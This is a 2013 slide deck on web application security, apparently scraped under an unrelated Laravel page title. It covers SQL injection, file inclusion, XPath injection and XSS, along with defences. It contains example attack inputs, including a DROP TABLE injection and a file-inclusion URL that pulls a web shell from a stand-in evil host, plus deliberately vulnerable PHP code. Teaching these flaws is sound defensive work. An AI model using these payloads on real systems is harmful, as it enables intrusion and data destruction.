Understanding the Laravel MVC ArchitectureUnderstanding the Laravel MVC Architecture
Understanding the Laravel MVC Architecture
 

Web Application Security

  • 1. Web Application Security Slides by: Ynon Perek ynon@ynonperek.com http://ynonperek.com Monday, April 29, 13
  • 2. Agenda n Intro to Web Security n Web Application Architecture n Code Injections n Request Forgeries n Losing Trust Monday, April 29, 13
  • 4. Reasons for Security n Reliable systems are secure n Security of a system = Security of the weakest part n Hard to fix after system is ready n Everyone should care Monday, April 29, 13
  • 5. How It All Started n John Draper (Cap’n Crunch) n phreaking in the 70s Monday, April 29, 13
  • 6. How It All Started n 1986 Brain n 1988 Morris n Both (meant as) harmless n Lead to CERT Monday, April 29, 13
  • 7. How It All Started n 90s gave birth to phishing attacks n AOL being the first victim Monday, April 29, 13
  • 8. How It All Started n Security became an issue n 2003 Summer of worms n Blaster, Nachi, SoBig Monday, April 29, 13
  • 9. IT Security Today NPR.org Hacked; 'Syrian Electronic Army' Takes Responsibility April 16, Monday, April 29, 13
  • 12. IT Security Today ‫מטוס‬ ‫להפיל‬ ‫כדי‬ ‫שצריך‬ ‫מה‬ ‫כל‬ ,‫פחד‬ ‫איזה‬ ‫אנדרואיד‬ ‫זה‬ .‫אחת‬ ‫תגובה‬ .10:04 ,2013 ‫באפריל‬ 12 ‫רז‬ ‫זהבי‬ ‫נועה‬ ‫מאת‬ ‫סלולר‬ ,‫מידע‬ ‫אבטחת‬ ‫לקטגוריות‬ ‫שייך‬ ‫אבטחה‬ ‫פריצת‬ ‫ישנה‬ ‫הפיקוח‬ ‫מגדלי‬ ‫בתוכנות‬ ‫כי‬ ‫גילה‬ ‫האקר‬ .‫ההודעה‬ ‫את‬ ‫לו‬ ‫שולח‬ ‫באמת‬ ‫מי‬ ‫לדעת‬ ‫יכול‬ ‫לא‬ ‫הטייס‬ – ‫חמורה‬ ‫ואף‬ ‫מטוס‬ ‫על‬ ‫להשתלט‬ ‫ניתן‬ ‫שפיתח‬ ‫אפליקצייה‬ ‫באמצעות‬ ‫לרסקו‬ Monday, April 29, 13
  • 13. Why Is It Hard ? n Secure code problems: n Lack of knowledge n Carelessness Monday, April 29, 13
  • 14. Secure From The Start n Fixing security errors after coding is expensive n Writing secure code is easy Monday, April 29, 13
  • 15. Q & A Monday, April 29, 13
  • 17. Web Architecture Client Server GET Data Send Response Monday, April 29, 13
  • 18. Server Side n Creates data and sends back to client n Data can be: HTML, JSON, XML, Images and more n Choose your flavor Monday, April 29, 13
  • 19. Server Side Flaws n Code injections n Information leak Monday, April 29, 13
  • 20. Client Side n Web browser takes data and renders on screen n Browsers: IE, Firefox, Chrome, Safari n Languages: JavaScript, ActionScript, Java (Applets) Monday, April 29, 13
  • 21. Client Side Flaws n Code injections n Information leak Monday, April 29, 13
  • 22. Web Weakness n Client-Server gap is too easy n HTTP is state-less n Many different technologies and vendors n Code/Data intermix n It’s way more complicated than it looks Monday, April 29, 13
  • 23. Code Injections n Query Injections (SQL, XPath, LDAP) n Remote File Inclusion n JavaScript Injections ( XSS, CSRF ) Monday, April 29, 13
  • 24. SQL Injections n Started in 1999 n (Probably) the most famous technique n 83% of data breaches 2005-2011 n attack rate: 70 attempts / hour Monday, April 29, 13
  • 25. Famous Victims n (2002) guess.com revealed 200K customer names and credit cards n (2007) Microsoft UK Defacement n (2009) RockYou DB hacked for 30Mil users n (2011) MySql.com hacked n (2012) Yahoo lost 450K login credentials Monday, April 29, 13
  • 27. What Did Bobby Break $query = "SELECT name, grade " +               "FROM students " +               "WHERE name = '$user'" Monday, April 29, 13
  • 28. What Did Bobby Break $query = "SELECT name, grade " +          "FROM students " +          "WHERE name =  'Robert'; DROP TABLE students'" Expected data got code Monday, April 29, 13
  • 29. SQLi Examples n See if you can log in n Login form code: https://github.com/ynonp/web-security-demos/ blob/master/lib/WebSecurity/Demos/Controller/ SQLInjection/Login.pm Monday, April 29, 13
  • 30. SQLi Example n See if you can print out names and passwords n https://github.com/ynonp/web-security-demos/ blob/master/lib/WebSecurity/Demos/Controller/ SQLInjection/InfoLeak.pm Monday, April 29, 13
  • 31. Affected Languages n All programming languages n Usually found in ASP, Java, Perl and PHP Monday, April 29, 13
  • 32. Bug Spotting n Search for code that: n Takes user input n Does not validate input n Uses input to talk to DB Monday, April 29, 13
  • 33. Bug Spotting n In code review n Find DB code n Make sure its input is sanitized Monday, April 29, 13
  • 34. Black-Box Spotting n Many automated tools will help you find SQL Inejctions n Popular: Havij http://www.itsecteam.com/ products/havij-v116- advanced-sql-injection/ Monday, April 29, 13
  • 35. How To Avoid n Use prepared statements n Demo: SELECT name, grade FROM students WHERE name=? ? are later bound to data Monday, April 29, 13
  • 36. How To Avoid n Sanitize your input. Always n Demo: if ( ! $name =~ /^[a-z]+$/ ) {   die "Invalid Input"; }   if ( ! $age =~ /^[0-9]+$/ ) {   die "Invalid Input"; } Monday, April 29, 13
  • 37. Extra Precautions n Keep users passwords hashed in the DB n Encrypt important data in DB n Microsoft URLScan n TrustWave ModSecurity (Open Source) Monday, April 29, 13
  • 38. Q & A SQL Injections Monday, April 29, 13
  • 39. Remote File Inclusion n Users upload files n Some files are dangerous n OR n Server loads files based on user input Monday, April 29, 13
  • 40. The Risk <?php if (isset( $_GET['COLOR'] ) ){ include( $_GET['COLOR'] . '.php' ); } ?> With /vulnerable.php?COLOR=http:// evil.example.com/webshell.txt Monday, April 29, 13
  • 41. Local File Inclusion n Other bugs allow attacker to upload a PHP file to your server n Usually missing upload file name tests Monday, April 29, 13
  • 44. Remote File Demo if ($_POST['url']) {         $uploaddir = $_POST['url']; }   $first_filename = $_FILES['uploadfile']['name']; $filename = md5($first_filename); $ext = substr($first_filename, 1 + strrpos($first_filename, '.')); $file = $uploaddir . basename($filename . '.' . $ext);   if (move_uploaded_file($_FILES['uploadfile']['tmp_name'], $file)) {         echo basename($filename . '.' . $ext); } else {         echo 'error'; } Monday, April 29, 13
  • 45. Example: OpenBB PHP remote file inclusion vulnerability in Open Bulletin Board (OpenBB) 1.0.8 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the root_path parameter to (1) index.php and possibly (2) collector.php. CVE-2006-4722 Monday, April 29, 13
  • 46. Bug Spotting n Search for code that loads external files n Search for code that stores external files n Make sure file name is sanitized Monday, April 29, 13
  • 47. How To Avoid n Avoid by sanitizing your input n Don’t allow uploads if you don’t have to Monday, April 29, 13
  • 48. Other Injections n XPath Injection n LDAP Injection Monday, April 29, 13
  • 49. Demo n Try to find a company’s id using: https://github.com/ynonp/web-security-demos/ blob/master/lib/WebSecurity/Demos/Controller/ XPathInjection/Leak.pm Monday, April 29, 13
  • 50. Client-Side Injections n A relatively new category of injections uses Client Side languages (mainly JavaScript) n Attacker uses website to attack other users Monday, April 29, 13
  • 51. JavaScript Injections Evil Hacker Honest User Web Application (Email) Send message to honest user Message includes evil JS code Monday, April 29, 13
  • 52. JavaScript Security n Browsers use a security policy called “Same Origin Policy” n A page has an origin n Some actions are restricted to the page’s origin Monday, April 29, 13
  • 53. JavaScript Risks n Same Origin Policy protects the following: n Unauthorized access to cookies n Unauthorized access to canvas n Unauthorized AJAX calls Monday, April 29, 13
  • 54. Famous Injections n XSS is the most famous JavaScript injection n Variants: Inject code to flash Monday, April 29, 13
  • 56. Famous Injections Twitter, Sep 2010 Monday, April 29, 13
  • 57. Famous Injections Yahoo, Jan 2013 Monday, April 29, 13
  • 58. Famous Injections n “Sammy Is My Hero” n (2005) Sammy’s worm infected a Million accounts in less than 20 hours Monday, April 29, 13
  • 60. Examples n Throwing users out of a public chat room n Getting a user to send a “fake” message https://github.com/ynonp/web-security-demos/ blob/master/lib/WebSecurity/Demos/Controller/ JSInjection/Chatter.pm Monday, April 29, 13
  • 61. Examples n Hijacking a user’s session through messaging n Getting a user to send a fake message https://github.com/ynonp/web-security-demos/ blob/master/lib/WebSecurity/Demos/Controller/ XSS/SessionHijack.pm Monday, April 29, 13
  • 62. Bug Spotting n Search for code that writes markup to user n Verify all output is sanitized Monday, April 29, 13
  • 63. Bug Spotting n http:// xsser.sourceforge.net/ n Python script that detects XSS bugs in sites Monday, April 29, 13
  • 64. Avoiding The Bug n Use the framework n Sanitize your output n Consider other users Monday, April 29, 13
  • 65. Q & A Client-Side Injections Monday, April 29, 13
  • 66. Code Weak Spots n Injections are more likely to occur in: n Cookies n HTTP Headers n Don’t forget to sanitize these too Monday, April 29, 13
  • 67. Web Security n Security of a system = the weakest part n System breaches usually involve more than one vulnerability n Use the power of frameworks Monday, April 29, 13
  • 68. Thanks For Listening n Ynon Perek n http://ynonperek.com n ynon@ynonperek.com Monday, April 29, 13